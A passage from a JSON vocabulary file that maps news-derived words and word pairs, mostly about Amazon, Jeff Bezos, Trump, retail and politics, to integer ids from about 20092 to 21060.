20092,\n  \"850\": 20093,\n  \"baja\": 20094,\n  \"rebranded\": 20095,\n  \"goodbye 2017\": 20096,\n  \"personally look\": 20097,\n  \"putin report\": 20098,\n  \"previous yr\": 20099,\n  \"uncooked\": 20100,\n  \"little tiny\": 20101,\n  \"premiums leaving\": 20102,\n  \"phil knight\": 20103,\n  \"chalkboard maybe\": 20104,\n  \"marjory stoneman\": 20105,\n  \"attempted persuasion\": 20106,\n  \"incentive bonuses\": 20107,\n  \"sign writes\": 20108,\n  \"stock shrugged\": 20109,\n  \"limousine hardly\": 20110,\n  \"sector hiring\": 20111,\n  \"preschools\": 20112,\n  \"myanmar liao\": 20113,\n  \"required reading\": 20114,\n  \"threats including\": 20115,\n  \"obvious way\": 20116,\n  \"andelman\": 20117,\n  \"wear sunscreen\": 20118,\n  \"trace mccabe\": 20119,\n  \"ceo emil\": 20120,\n  \"kawasaki heavy\": 20121,\n  \"negga makes\": 20122,\n  \"check cashing\": 20123,\n  \"color coded\": 20124,\n  \"excessively overvalued\": 20125,\n  \"chinese goods\": 20126,\n  \"budding sports\": 20127,\n  \"separate sales\": 20128,\n  \"handle trafficking\": 20129,\n  \"point selling\": 20130,\n  \"associate amazon\": 20131,\n  \"stirred\": 20132,\n  \"adviser pleading\": 20133,\n  \"destroy brands\": 20134,\n  \"david ramsey\": 20135,\n  \"expend huge\": 20136,\n  \"fact early\": 20137,\n  \"issue floating\": 20138,\n  \"issuethe\": 20139,\n  \"president taunted\": 20140,\n  \"environmental institute\": 20141,\n  \"understands cloud\": 20142,\n  \"pay information\": 20143,\n  \"good bye\": 20144,\n  \"isbn\": 20145,\n  \"family fights\": 20146,\n  \"watch today\": 20147,\n  \"v0 object\": 20148,\n  \"long overdue\": 20149,\n  \"extra space\": 20150,\n  \"extremely creative\": 20151,\n  \"confirms\": 20152,\n  \"trump style\": 20153,\n  \"spicer mea\": 20154,\n  \"results jeff\": 20155,\n  \"fusion suite\": 20156,\n  \"bartender compliment\": 20157,\n  \"usps consumer\": 20158,\n  \"possible political\": 20159,\n  \"betting reuters\": 20160,\n  \"breakout congresswoman\": 20161,\n  \"paid particular\": 20162,\n  \"expensive brian\": 20163,\n  \"pregnancy disability\": 20164,\n  \"lessons learned\": 20165,\n  \"outline\": 20166,\n  \"filed multiple\": 20167,\n  \"primary voters\": 20168,\n  \"chevron\": 20169,\n  \"house respectively\": 20170,\n  \"companies greer\": 20171,\n  \"sessions claims\": 20172,\n  \"kudlow free\": 20173,\n  \"recruit family\": 20174,\n  \"problem narrow\": 20175,\n  \"users time\": 20176,\n  \"site counterfeit\": 20177,\n  \"plan calling\": 20178,\n  \"seemingly unrelated\": 20179,\n  \"maggie\": 20180,\n  \"address today\": 20181,\n  \"gmt tempe\": 20182,\n  \"lowdown distributed\": 20183,\n  \"suicidal episodes\": 20184,\n  \"pas\": 20185,\n  \"address mair\": 20186,\n  \"using wapo\": 20187,\n  \"disappointed hundreds\": 20188,\n  \"soap company\": 20189,\n  \"escape pod\": 20190,\n  \"helping fund\": 20191,\n  \"merger despite\": 20192,\n  \"recanting\": 20193,\n  \"typeof owl\": 20194,\n  \"left retail\": 20195,\n  \"year veteran\": 20196,\n  \"declining free\": 20197,\n  \"dingell jeff\": 20198,\n  \"scam\": 20199,\n  \"john holm\": 20200,\n  \"commercial parcel\": 20201,\n  \"grotesquely large\": 20202,\n  \"trigger\": 20203,\n  \"cornacchioni\": 20204,\n  \"report highlights\": 20205,\n  \"discusses andrew\": 20206,\n  \"trump directly\": 20207,\n  \"bigger outflows\": 20208,\n  \"bloomberg banks\": 20209,\n  \"time cattle\": 20210,\n  \"builder\": 20211,\n  \"g9jceruc0v\": 20212,\n  \"franek amazon\": 20213,\n  \"news follow\": 20214,\n  \"heroine\": 20215,\n  \"ability\": 20216,\n  \"cuomo remarks\": 20217,\n  \"sounded aghast\": 20218,\n  \"erupted involving\": 20219,\n  \"squarely aimed\": 20220,\n  \"practically negated\": 20221,\n  \"brain breaks\": 20222,\n  \"page ad\": 20223,\n  \"employed private\": 20224,\n  \"unfortunately recent\": 20225,\n  \"county people\": 20226,\n  \"national attention\": 20227,\n  \"inflated\": 20228,\n  \"zuckerberg album\": 20229,\n  \"disrupting retail\": 20230,\n  \"dance lessons\": 20231,\n  \"safety jeopardized\": 20232,\n  \"lower earnings\": 20233,\n  \"prime environmental\": 20234,\n  \"low tech\": 20235,\n  \"patients insurance\": 20236,\n  \"secretary stephen\": 20237,\n  \"international postal\": 20238,\n  \"tayyip\": 20239,\n  \"real book\": 20240,\n  \"expenses dodd\": 20241,\n  \"bezos isn\": 20242,\n  \"campaign pecker\": 20243,\n  \"healthcare online\": 20244,\n  \"realdonaldtrump results\": 20245,\n  \"spencer ackerman\": 20246,\n  \"eliana right\": 20247,\n  \"earnings season\": 20248,\n  \"apparent slip\": 20249,\n  \"lango\": 20250,\n  \"text maria\": 20251,\n  \"deforest threat\": 20252,\n  \"revolution finally\": 20253,\n  \"blackmail scandal\": 20254,\n  \"stamps 2017\": 20255,\n  \"connecticut based\": 20256,\n  \"merging unleashed\": 20257,\n  \"franzia reporter\": 20258,\n  \"state constitution\": 20259,\n  \"trump remarked\": 20260,\n  \"euro oeknowing\": 20261,\n  \"timed test\": 20262,\n  \"poets\": 20263,\n  \"450920002\": 20264,\n  \"finally approved\": 20265,\n  \"earnings matter\": 20266,\n  \"netflix royal\": 20267,\n  \"reports later\": 20268,\n  \"song built\": 20269,\n  \"nuclear power\": 20270,\n  \"hoard\": 20271,\n  \"different documentaries\": 20272,\n  \"hudsons bay\": 20273,\n  \"vice presidential\": 20274,\n  \"build affordable\": 20275,\n  \"organic food\": 20276,\n  \"arena online\": 20277,\n  \"futures sank\": 20278,\n  \"undergo\": 20279,\n  \"rt satchatuk\": 20280,\n  \"set prices\": 20281,\n  \"making tv\": 20282,\n  \"overseas bringing\": 20283,\n  \"sasse\": 20284,\n  \"tweet amazon\": 20285,\n  \"affordable devices\": 20286,\n  \"york workers\": 20287,\n  \"pot calling\": 20288,\n  \"sees summit\": 20289,\n  \"trump attitudes\": 20290,\n  \"poverty ivanka\": 20291,\n  \"high series\": 20292,\n  \"raise pay\": 20293,\n  \"republican insisted\": 20294,\n  \"hud\": 20295,\n  \"video streaming\": 20296,\n  \"large shoes\": 20297,\n  \"nbcsn\": 20298,\n  \"hit hard\": 20299,\n  \"fool analysis\": 20300,\n  \"video message\": 20301,\n  \"moore capito\": 20302,\n  \"items problem\": 20303,\n  \"latest initiatives\": 20304,\n  \"marsden tries\": 20305,\n  \"advertising related\": 20306,\n  \"naturally concerned\": 20307,\n  \"followed trump\": 20308,\n  \"messages sent\": 20309,\n  \"buys products\": 20310,\n  \"executive amazon\": 20311,\n  \"uses variety\": 20312,\n  \"gleefully tweeting\": 20313,\n  \"1328627\": 20314,\n  \"service just\": 20315,\n  \"times faced\": 20316,\n  \"market cbs\": 20317,\n  \"hassett chairman\": 20318,\n  \"exchange avalara\": 20319,\n  \"school network\": 20320,\n  \"arts community\": 20321,\n  \"agreement tsa\": 20322,\n  \"vaxxed\": 20323,\n  \"senate set\": 20324,\n  \"lake city\": 20325,\n  \"buy today\": 20326,\n  \"offer rekognition\": 20327,\n  \"malmstrom\": 20328,\n  \"trump congressional\": 20329,\n  \"bestow\": 20330,\n  \"careful study\": 20331,\n  \"defined geographical\": 20332,\n  \"blabbed\": 20333,\n  \"scaramucci\": 20334,\n  \"computing service\": 20335,\n  \"reservoirs supplying\": 20336,\n  \"100 environmental\": 20337,\n  \"cuny chairman\": 20338,\n  \"hanna trudo\": 20339,\n  \"vsa\": 20340,\n  \"travel travel\": 20341,\n  \"beda\": 20342,\n  \"bath\": 20343,\n  \"democrats flee\": 20344,\n  \"opportunity\": 20345,\n  \"constitution expand\": 20346,\n  \"origin frame\": 20347,\n  \"radar\": 20348,\n  \"conservative legal\": 20349,\n  \"walmart lose\": 20350,\n  \"lacy\": 20351,\n  \"157 kyle\": 20352,\n  \"bevested owner\": 20353,\n  \"incentives attractive\": 20354,\n  \"mail french\": 20355,\n  \"surprisingly 787\": 20356,\n  \"unsynchronized global\": 20357,\n  \"hasson\": 20358,\n  \"prohibit restaurants\": 20359,\n  \"childhood stock\": 20360,\n  \"contagion risk\": 20361,\n  \"entourage mystery\": 20362,\n  \"justice media\": 20363,\n  \"vice amid\": 20364,\n  \"yazan alnsour\": 20365,\n  \"burden taking\": 20366,\n  \"gates 2018\": 20367,\n  \"sandberg\": 20368,\n  \"videoplayer setfirstvideoincollection\": 20369,\n  \"marshall fund\": 20370,\n  \"iaas cloudscape\": 20371,\n  \"creative planning\": 20372,\n  \"cold weather\": 20373,\n  \"enquirer apparently\": 20374,\n  \"frat party\": 20375,\n  \"says scattering\": 20376,\n  \"spending according\": 20377,\n  \"bigger stake\": 20378,\n  \"morose meditations\": 20379,\n  \"billion google\": 20380,\n  \"comments london\": 20381,\n  \"complicate\": 20382,\n  \"story dow\": 20383,\n  \"professor galloway\": 20384,\n  \"makes remarks\": 20385,\n  \"duties regulate\": 20386,\n  \"ireland billions\": 20387,\n  \"inverts new\": 20388,\n  \"foxnews elsie\": 20389,\n  \"oil producing\": 20390,\n  \"amazon blew\": 20391,\n  \"public support\": 20392,\n  \"earnings changes\": 20393,\n  \"william schneider\": 20394,\n  \"skilled artists\": 20395,\n  \"investigators look\": 20396,\n  \"size making\": 20397,\n  \"company nyse\": 20398,\n  \"sinking farm\": 20399,\n  \"robin ajello\": 20400,\n  \"subcomandante\": 20401,\n  \"lady explained\": 20402,\n  \"significantly impact\": 20403,\n  \"told facebook\": 20404,\n  \"clearing house\": 20405,\n  \"pc shop\": 20406,\n  \"scrapped plans\": 20407,\n  \"hawley mo\": 20408,\n  \"developed larger\": 20409,\n  \"maryland tasos\": 20410,\n  \"ami correspondence\": 20411,\n  \"maryanne included\": 20412,\n  \"product searches\": 20413,\n  \"anticounterfeiting\": 20414,\n  \"sharlee\": 20415,\n  \"various headwinds\": 20416,\n  \"tnoah politico\": 20417,\n  \"4e\": 20418,\n  \"rate loans\": 20419,\n  \"2018 team\": 20420,\n  \"look amazon\": 20421,\n  \"amzn benzinga\": 20422,\n  \"advisors congressional\": 20423,\n  \"looked lonely\": 20424,\n  \"wearing trash\": 20425,\n  \"statement added\": 20426,\n  \"vans\": 20427,\n  \"tolls\": 20428,\n  \"diishan\": 20429,\n  \"daily snapshot\": 20430,\n  \"stanch\": 20431,\n  \"employment immigration\": 20432,\n  \"deal talks\": 20433,\n  \"great examples\": 20434,\n  \"workers wrote\": 20435,\n  \"democrat predicts\": 20436,\n  \"state employees\": 20437,\n  \"alibaba entire\": 20438,\n  \"punitive measure\": 20439,\n  \"modernizing\": 20440,\n  \"government going\": 20441,\n  \"howard sanchez\": 20442,\n  \"solutions limited\": 20443,\n  \"bezos proves\": 20444,\n  \"chenoweth peter\": 20445,\n  \"immigrant fox\": 20446,\n  \"mad king\": 20447,\n  \"millennials\": 20448,\n  \"basis source\": 20449,\n  \"german\": 20450,\n  \"company sp\": 20451,\n  \"jersey common\": 20452,\n  \"career corporate\": 20453,\n  \"legislation cost\": 20454,\n  \"tascent raises\": 20455,\n  \"youtube google\": 20456,\n  \"gloat\": 20457,\n  \"tax reform\": 20458,\n  \"gained following\": 20459,\n  \"ore\": 20460,\n  \"divorcing gavin\": 20461,\n  \"trumps rising\": 20462,\n  \"controls eliminating\": 20463,\n  \"challenges going\": 20464,\n  \"jan bezos\": 20465,\n  \"time daring\": 20466,\n  \"unlike\": 20467,\n  \"2016 maura\": 20468,\n  \"based farming\": 20469,\n  \"goo\": 20470,\n  \"couldn learn\": 20471,\n  \"bay secretary\": 20472,\n  \"isolate america\": 20473,\n  \"requiring billion\": 20474,\n  \"story sec\": 20475,\n  \"policy efforts\": 20476,\n  \"company patented\": 20477,\n  \"ping\": 20478,\n  \"alongside body\": 20479,\n  \"style fleecy\": 20480,\n  \"sporting\": 20481,\n  \"smith collection\": 20482,\n  \"general motors\": 20483,\n  \"strict measures\": 20484,\n  \"traded company\": 20485,\n  \"trump levels\": 20486,\n  \"american imagine\": 20487,\n  \"colson\": 20488,\n  \"dystopian society\": 20489,\n  \"note accompanying\": 20490,\n  \"mining town\": 20491,\n  \"gervais humanity\": 20492,\n  \"obama midterm\": 20493,\n  \"jackie london\": 20494,\n  \"historic survivor\": 20495,\n  \"omx phlx\": 20496,\n  \"bezos privacy\": 20497,\n  \"series goliath\": 20498,\n  \"grand living\": 20499,\n  \"post share\": 20500,\n  \"ample opportunity\": 20501,\n  \"grails\": 20502,\n  \"darrell\": 20503,\n  \"brutal places\": 20504,\n  \"bureaucrat named\": 20505,\n  \"real possibility\": 20506,\n  \"arms\": 20507,\n  \"payouts\": 20508,\n  \"industry facebook\": 20509,\n  \"elected leaders\": 20510,\n  \"trying harder\": 20511,\n  \"netflix surpassed\": 20512,\n  \"owner amazon\": 20513,\n  \"sourceamazon team\": 20514,\n  \"punished daughter\": 20515,\n  \"positions irs\": 20516,\n  \"cause asphyxiation\": 20517,\n  \"finishes shift\": 20518,\n  \"derided trading\": 20519,\n  \"taking picture\": 20520,\n  \"areacouncil members\": 20521,\n  \"continued apace\": 20522,\n  \"buzzfeed reports\": 20523,\n  \"100 boasts\": 20524,\n  \"stay stuck\": 20525,\n  \"effectively police\": 20526,\n  \"related products\": 20527,\n  \"independent paper\": 20528,\n  \"months members\": 20529,\n  \"charts supplier\": 20530,\n  \"tags tag\": 20531,\n  \"500 807\": 20532,\n  \"investors analyst\": 20533,\n  \"inviting fischer\": 20534,\n  \"people donald\": 20535,\n  \"company ceos\": 20536,\n  \"slowing republicans\": 20537,\n  \"incompetent politicians\": 20538,\n  \"long skirted\": 20539,\n  \"shock waves\": 20540,\n  \"minutes later\": 20541,\n  \"sewers\": 20542,\n  \"releasing video\": 20543,\n  \"spokeswoman sarah\": 20544,\n  \"siting\": 20545,\n  \"pleasant hill\": 20546,\n  \"risk new\": 20547,\n  \"paid ireland\": 20548,\n  \"nonprofit george\": 20549,\n  \"parking spot\": 20550,\n  \"dissing dying\": 20551,\n  \"ongoing funding\": 20552,\n  \"investment office\": 20553,\n  \"dangerous choice\": 20554,\n  \"time according\": 20555,\n  \"opposite trumpatriotism\": 20556,\n  \"began doing\": 20557,\n  \"minnesota senator\": 20558,\n  \"mere appearance\": 20559,\n  \"scarborough lamented\": 20560,\n  \"huge dividends\": 20561,\n  \"months bartiromo\": 20562,\n  \"bids final\": 20563,\n  \"called lot\": 20564,\n  \"cycle despite\": 20565,\n  \"pry information\": 20566,\n  \"significant development\": 20567,\n  \"voter guide\": 20568,\n  \"music griffeth\": 20569,\n  \"motor corp\": 20570,\n  \"technology products\": 20571,\n  \"vivid hues\": 20572,\n  \"workday\": 20573,\n  \"microzon alliance\": 20574,\n  \"alibaba founder\": 20575,\n  \"pride parents\": 20576,\n  \"laugh riot\": 20577,\n  \"pentagon analyze\": 20578,\n  \"justin nystrom\": 20579,\n  \"policy program\": 20580,\n  \"employees published\": 20581,\n  \"holiday thanksgiving\": 20582,\n  \"worshipped\": 20583,\n  \"rare political\": 20584,\n  \"operations centre\": 20585,\n  \"revival led\": 20586,\n  \"upheaval early\": 20587,\n  \"lauren2go grammy2go\": 20588,\n  \"grid\": 20589,\n  \"unquote\": 20590,\n  \"residential small\": 20591,\n  \"office issued\": 20592,\n  \"learn details\": 20593,\n  \"victims received\": 20594,\n  \"cooper calls\": 20595,\n  \"lenovo bought\": 20596,\n  \"director neil\": 20597,\n  \"exchange cboe\": 20598,\n  \"packages suggested\": 20599,\n  \"doordash\": 20600,\n  \"hugging\": 20601,\n  \"existing stores\": 20602,\n  \"expose strip\": 20603,\n  \"bong sarmiento\": 20604,\n  \"weak guidance\": 20605,\n  \"q0\": 20606,\n  \"day line\": 20607,\n  \"17338732 ppb\": 20608,\n  \"clinton presidency\": 20609,\n  \"headquarters announcement\": 20610,\n  \"pitching hedge\": 20611,\n  \"financial commentary\": 20612,\n  \"giving users\": 20613,\n  \"fewer qualms\": 20614,\n  \"network guests\": 20615,\n  \"figure caught\": 20616,\n  \"navigate tricky\": 20617,\n  \"prince\": 20618,\n  \"won solve\": 20619,\n  \"landscape believe\": 20620,\n  \"amazonbasics merchandise\": 20621,\n  \"reconsidering setting\": 20622,\n  \"fair notice\": 20623,\n  \"host emergency\": 20624,\n  \"patricof agrees\": 20625,\n  \"vision programme\": 20626,\n  \"vietnam era\": 20627,\n  \"haughty outlook\": 20628,\n  \"1996 congress\": 20629,\n  \"numbers story\": 20630,\n  \"number spot\": 20631,\n  \"releasing trove\": 20632,\n  \"shot redemption\": 20633,\n  \"fact looking\": 20634,\n  \"reback silicon\": 20635,\n  \"biden beef\": 20636,\n  \"legal workers\": 20637,\n  \"seattle 100\": 20638,\n  \"congresswoman marcia\": 20639,\n  \"justice digital\": 20640,\n  \"shares lipe\": 20641,\n  \"land grabbing\": 20642,\n  \"joint chiefs\": 20643,\n  \"little bundle\": 20644,\n  \"francisco joseph\": 20645,\n  \"plan shares\": 20646,\n  \"associate firms\": 20647,\n  \"today behemoth\": 20648,\n  \"political crosshairs\": 20649,\n  \"neighborhood called\": 20650,\n  \"date echo\": 20651,\n  \"unh\": 20652,\n  \"asia did\": 20653,\n  \"lost case\": 20654,\n  \"berkowitz\": 20655,\n  \"kyle mooney\": 20656,\n  \"maybe prove\": 20657,\n  \"subscription services\": 20658,\n  \"make mum\": 20659,\n  \"email declined\": 20660,\n  \"new carrier\": 20661,\n  \"host victoria\": 20662,\n  \"hollywood fantasy\": 20663,\n  \"bezos us137\": 20664,\n  \"investigations related\": 20665,\n  \"mississippi popular\": 20666,\n  \"small black\": 20667,\n  \"dire consequences\": 20668,\n  \"short trunks\": 20669,\n  \"taxes false\": 20670,\n  \"owo\": 20671,\n  \"strikes\": 20672,\n  \"growth herera\": 20673,\n  \"african writers\": 20674,\n  \"real facts\": 20675,\n  \"spooky\": 20676,\n  \"far exceed\": 20677,\n  \"infested\": 20678,\n  \"false accusation\": 20679,\n  \"miners\": 20680,\n  \"baking wholesome\": 20681,\n  \"barro\": 20682,\n  \"dc jeff\": 20683,\n  \"easley noticed\": 20684,\n  \"slowly aging\": 20685,\n  \"schlemmer\": 20686,\n  \"hotchkiss school\": 20687,\n  \"worrying\": 20688,\n  \"roof mounted\": 20689,\n  \"darling just\": 20690,\n  \"tactic used\": 20691,\n  \"206\": 20692,\n  \"greedy legislatures\": 20693,\n  \"media elementcontents\": 20694,\n  \"public works\": 20695,\n  \"scruggs\": 20696,\n  \"seasonality reflective\": 20697,\n  \"uncovers rising\": 20698,\n  \"organize meal\": 20699,\n  \"large laggard\": 20700,\n  \"xqz599iqzw\": 20701,\n  \"bullish\": 20702,\n  \"complex problems\": 20703,\n  \"influence china\": 20704,\n  \"lab verified\": 20705,\n  \"men short\": 20706,\n  \"bezos disappointed\": 20707,\n  \"nike support\": 20708,\n  \"food economy\": 20709,\n  \"facing criminal\": 20710,\n  \"bastardization\": 20711,\n  \"charges applied\": 20712,\n  \"million trees\": 20713,\n  \"ba says\": 20714,\n  \"carroll lynch\": 20715,\n  \"florida panhandle\": 20716,\n  \"mcsally concession\": 20717,\n  \"letter\": 20718,\n  \"country highlighting\": 20719,\n  \"sharpton conference\": 20720,\n  \"chief financial\": 20721,\n  \"warren ap\": 20722,\n  \"fiery city\": 20723,\n  \"southfield\": 20724,\n  \"yemeni affairs\": 20725,\n  \"headline bezos\": 20726,\n  \"thatamazon stock\": 20727,\n  \"sales 2019\": 20728,\n  \"fiscal crises\": 20729,\n  \"michael plunkett\": 20730,\n  \"hollywood mega\": 20731,\n  \"000 210\": 20732,\n  \"software tools\": 20733,\n  \"nick sheff\": 20734,\n  \"hearing concerning\": 20735,\n  \"wh official\": 20736,\n  \"headquarters hq2\": 20737,\n  \"financial cycles\": 20738,\n  \"received immunity\": 20739,\n  \"fbi raid\": 20740,\n  \"fight seth\": 20741,\n  \"bushy shock\": 20742,\n  \"happy change\": 20743,\n  \"going bankrupt\": 20744,\n  \"fox host\": 20745,\n  \"reviews mix\": 20746,\n  \"weakest\": 20747,\n  \"constant rains\": 20748,\n  \"people perceive\": 20749,\n  \"post devoted\": 20750,\n  \"gone\": 20751,\n  \"decent discourse\": 20752,\n  \"project lightning\": 20753,\n  \"false tilefeatureimage\": 20754,\n  \"house announced\": 20755,\n  \"atp tennis\": 20756,\n  \"highest increase\": 20757,\n  \"varney appearance\": 20758,\n  \"oxford mississippi\": 20759,\n  \"19659002\": 20760,\n  \"allegedly tipped\": 20761,\n  \"enquirer pursued\": 20762,\n  \"aristocracy\": 20763,\n  \"music streaming\": 20764,\n  \"valuation winner\": 20765,\n  \"635x367 uploaded_files\": 20766,\n  \"major storm\": 20767,\n  \"repeatedly clashed\": 20768,\n  \"home mortgage\": 20769,\n  \"donuts\": 20770,\n  \"centers backlog\": 20771,\n  \"johnson yes\": 20772,\n  \"home buying\": 20773,\n  \"major retail\": 20774,\n  \"dag meaning\": 20775,\n  \"sellers warehouses\": 20776,\n  \"import\": 20777,\n  \"actually\": 20778,\n  \"comparison looked\": 20779,\n  \"perfume line\": 20780,\n  \"employees members\": 20781,\n  \"blasio press\": 20782,\n  \"house mnuchin\": 20783,\n  \"trace prosecute\": 20784,\n  \"future plans\": 20785,\n  \"right person\": 20786,\n  \"season streamline\": 20787,\n  \"kids bad\": 20788,\n  \"judge tenor\": 20789,\n  \"amazon creates\": 20790,\n  \"impossibly\": 20791,\n  \"la empresa\": 20792,\n  \"great lengths\": 20793,\n  \"actual proposals\": 20794,\n  \"jonathan franzen\": 20795,\n  \"great health\": 20796,\n  \"2017jeff\": 20797,\n  \"companies increased\": 20798,\n  \"costume changes\": 20799,\n  \"novel theories\": 20800,\n  \"stat 108\": 20801,\n  \"ground according\": 20802,\n  \"risk centers\": 20803,\n  \"devastating partially\": 20804,\n  \"brexit just\": 20805,\n  \"entering new\": 20806,\n  \"tha\\u00eds borges\": 20807,\n  \"2019 proved\": 20808,\n  \"years amazonbasics\": 20809,\n  \"international class\": 20810,\n  \"contraction\": 20811,\n  \"sell customized\": 20812,\n  \"bought rights\": 20813,\n  \"amazon 269\": 20814,\n  \"comedian kathy\": 20815,\n  \"signs new\": 20816,\n  \"135 stores\": 20817,\n  \"immediate action\": 20818,\n  \"senator kamala\": 20819,\n  \"resources talent\": 20820,\n  \"roosevelt\": 20821,\n  \"collides\": 20822,\n  \"small bit\": 20823,\n  \"view amazon\": 20824,\n  \"read st\": 20825,\n  \"offset letter\": 20826,\n  \"carrier announced\": 20827,\n  \"reynolds shelley\": 20828,\n  \"hair regrowth\": 20829,\n  \"swan asked\": 20830,\n  \"widespread issues\": 20831,\n  \"proposed pact\": 20832,\n  \"mission speed\": 20833,\n  \"introduced final\": 20834,\n  \"teeuwe\": 20835,\n  \"korea despite\": 20836,\n  \"spat grabbed\": 20837,\n  \"hastily\": 20838,\n  \"multicarrier solution\": 20839,\n  \"viewed trump\": 20840,\n  \"yazan\": 20841,\n  \"budget think\": 20842,\n  \"google protected\": 20843,\n  \"roster\": 20844,\n  \"counterparts leading\": 20845,\n  \"uncharted\": 20846,\n  \"cashiers\": 20847,\n  \"cost estimates\": 20848,\n  \"quirky food\": 20849,\n  \"flattering articles\": 20850,\n  \"party vendors\": 20851,\n  \"rebounded early\": 20852,\n  \"randolfo rodrigues\": 20853,\n  \"intense speculation\": 20854,\n  \"old fashioned\": 20855,\n  \"labelled\": 20856,\n  \"selfhood\": 20857,\n  \"confirming\": 20858,\n  \"advsr\": 20859,\n  \"resolve allegations\": 20860,\n  \"things tried\": 20861,\n  \"dramatic emissions\": 20862,\n  \"compiling voluminous\": 20863,\n  \"exas brown\": 20864,\n  \"significant doubt\": 20865,\n  \"killing mueller\": 20866,\n  \"help level\": 20867,\n  \"new suite\": 20868,\n  \"ad buyer\": 20869,\n  \"rental car\": 20870,\n  \"power talk\": 20871,\n  \"bezo love\": 20872,\n  \"wayfair ruling\": 20873,\n  \"growing gop\": 20874,\n  \"nogales\": 20875,\n  \"die offs\": 20876,\n  \"sean sullivan\": 20877,\n  \"wonderland\": 20878,\n  \"reorg tackles\": 20879,\n  \"seattle fred\": 20880,\n  \"sleepless nights\": 20881,\n  \"million itep\": 20882,\n  \"republican gov\": 20883,\n  \"subverts\": 20884,\n  \"sdny\": 20885,\n  \"reservations\": 20886,\n  \"gloria pike\": 20887,\n  \"lobby tech\": 20888,\n  \"russ mould\": 20889,\n  \"genuine danger\": 20890,\n  \"opposition amazon\": 20891,\n  \"cruise incidents\": 20892,\n  \"person runs\": 20893,\n  \"nniedzwiadek politico\": 20894,\n  \"publisher threatened\": 20895,\n  \"right political\": 20896,\n  \"controversy prone\": 20897,\n  \"fa f4\": 20898,\n  \"alphabet spent\": 20899,\n  \"sales charts\": 20900,\n  \"area journalist\": 20901,\n  \"foregoing\": 20902,\n  \"worth 600\": 20903,\n  \"google gained\": 20904,\n  \"uncompetitive cloud\": 20905,\n  \"avoiding local\": 20906,\n  \"tricky political\": 20907,\n  \"gigantic\": 20908,\n  \"heated speculation\": 20909,\n  \"reloaded\": 20910,\n  \"radio stations\": 20911,\n  \"harwood\": 20912,\n  \"demands north\": 20913,\n  \"pacific ocean\": 20914,\n  \"washington antitrust\": 20915,\n  \"dollar fines\": 20916,\n  \"msn\": 20917,\n  \"moves grows\": 20918,\n  \"want lots\": 20919,\n  \"millennials love\": 20920,\n  \"book readers\": 20921,\n  \"department employees\": 20922,\n  \"controversial issues\": 20923,\n  \"recently held\": 20924,\n  \"deal economy\": 20925,\n  \"major source\": 20926,\n  \"super ministry\": 20927,\n  \"time stern\": 20928,\n  \"bezos practices\": 20929,\n  \"emergency looms\": 20930,\n  \"competitors accrued\": 20931,\n  \"join slate\": 20932,\n  \"squali managing\": 20933,\n  \"golden\": 20934,\n  \"briefly driving\": 20935,\n  \"4194 topics\": 20936,\n  \"say wow\": 20937,\n  \"100000 losers\": 20938,\n  \"frameheight 100\": 20939,\n  \"drivers directly\": 20940,\n  \"typically means\": 20941,\n  \"mainstream climate\": 20942,\n  \"various immigration\": 20943,\n  \"roundly critiqued\": 20944,\n  \"maintain control\": 20945,\n  \"drawn 2017\": 20946,\n  \"robertson news\": 20947,\n  \"year data\": 20948,\n  \"remain relatively\": 20949,\n  \"field grand\": 20950,\n  \"seoul\": 20951,\n  \"resume self\": 20952,\n  \"threw shade\": 20953,\n  \"regular mail\": 20954,\n  \"yes according\": 20955,\n  \"amazon annual\": 20956,\n  \"2017 social\": 20957,\n  \"include early\": 20958,\n  \"brokered\": 20959,\n  \"rapidly emerging\": 20960,\n  \"lending technology\": 20961,\n  \"bases vanish\": 20962,\n  \"trump weigh\": 20963,\n  \"cement\": 20964,\n  \"afoot\": 20965,\n  \"plane hijacking\": 20966,\n  \"customers verizon\": 20967,\n  \"package mailers\": 20968,\n  \"mentioned john\": 20969,\n  \"2016 fbi\": 20970,\n  \"based nationally\": 20971,\n  \"vuitton strategy\": 20972,\n  \"emanuel administration\": 20973,\n  \"moeller did\": 20974,\n  \"previous plan\": 20975,\n  \"books landing\": 20976,\n  \"arista networks\": 20977,\n  \"titled nasdaq\": 20978,\n  \"shrinking revenue\": 20979,\n  \"calif commercial\": 20980,\n  \"clarkston belongs\": 20981,\n  \"edward snowden\": 20982,\n  \"new food\": 20983,\n  \"beans\": 20984,\n  \"rhimes scandal\": 20985,\n  \"faced roughly\": 20986,\n  \"different ownership\": 20987,\n  \"build lcd\": 20988,\n  \"usps celebrates\": 20989,\n  \"tide lifts\": 20990,\n  \"control instead\": 20991,\n  \"facebook moments\": 20992,\n  \"fewer competitive\": 20993,\n  \"cooperative\": 20994,\n  \"ways new\": 20995,\n  \"announcement released\": 20996,\n  \"privately held\": 20997,\n  \"american export\": 20998,\n  \"hr minimum\": 20999,\n  \"involve amazon\": 21000,\n  \"separate meeting\": 21001,\n  \"work jointly\": 21002,\n  \"easily manipulated\": 21003,\n  \"topple\": 21004,\n  \"jarhead\": 21005,\n  \"company screenshot\": 21006,\n  \"eating hotdog\": 21007,\n  \"carrie wong\": 21008,\n  \"custom vera\": 21009,\n  \"decibels 150\": 21010,\n  \"john conclusion\": 21011,\n  \"covered\": 21012,\n  \"approved horizontal\": 21013,\n  \"company instructed\": 21014,\n  \"tags share\": 21015,\n  \"understands\": 21016,\n  \"iso accredited\": 21017,\n  \"tabloid quoted\": 21018,\n  \"victim\": 21019,\n  \"trait\": 21020,\n  \"ceo king\": 21021,\n  \"theo meyer\": 21022,\n  \"sacramento teachers\": 21023,\n  \"defiance instead\": 21024,\n  \"adaptations\": 21025,\n  \"vermont republican\": 21026,\n  \"head boston\": 21027,\n  \"trade scuffle\": 21028,\n  \"just added\": 21029,\n  \"joint bank\": 21030,\n  \"microsoft reputation\": 21031,\n  \"benedict\": 21032,\n  \"tax agencies\": 21033,\n  \"connect wider\": 21034,\n  \"story kamaron\": 21035,\n  \"bold acknowledgement\": 21036,\n  \"cosponsored\": 21037,\n  \"revolving doors\": 21038,\n  \"philharmonic conjures\": 21039,\n  \"following lower\": 21040,\n  \"listed\": 21041,\n  \"best spent\": 21042,\n  \"waxwork unveiled\": 21043,\n  \"reisuccessconference\": 21044,\n  \"management office\": 21045,\n  \"oracle respectively\": 21046,\n  \"amazon high\": 21047,\n  \"headed mascot\": 21048,\n  \"california newsome\": 21049,\n  \"billion doesn\": 21050,\n  \"volkswagen shares\": 21051,\n  \"theory qanon\": 21052,\n  \"alarming rate\": 21053,\n  \"patents\": 21054,\n  \"budget crisis\": 21055,\n  \"andrew hollenhorst\": 21056,\n  \"drivers change\": 21057,\n  \"change marxist\": 21058,\n  \"education department\": 21059,\n  \"memphis grizzlies\": 21060,\n  \"post suggested\": 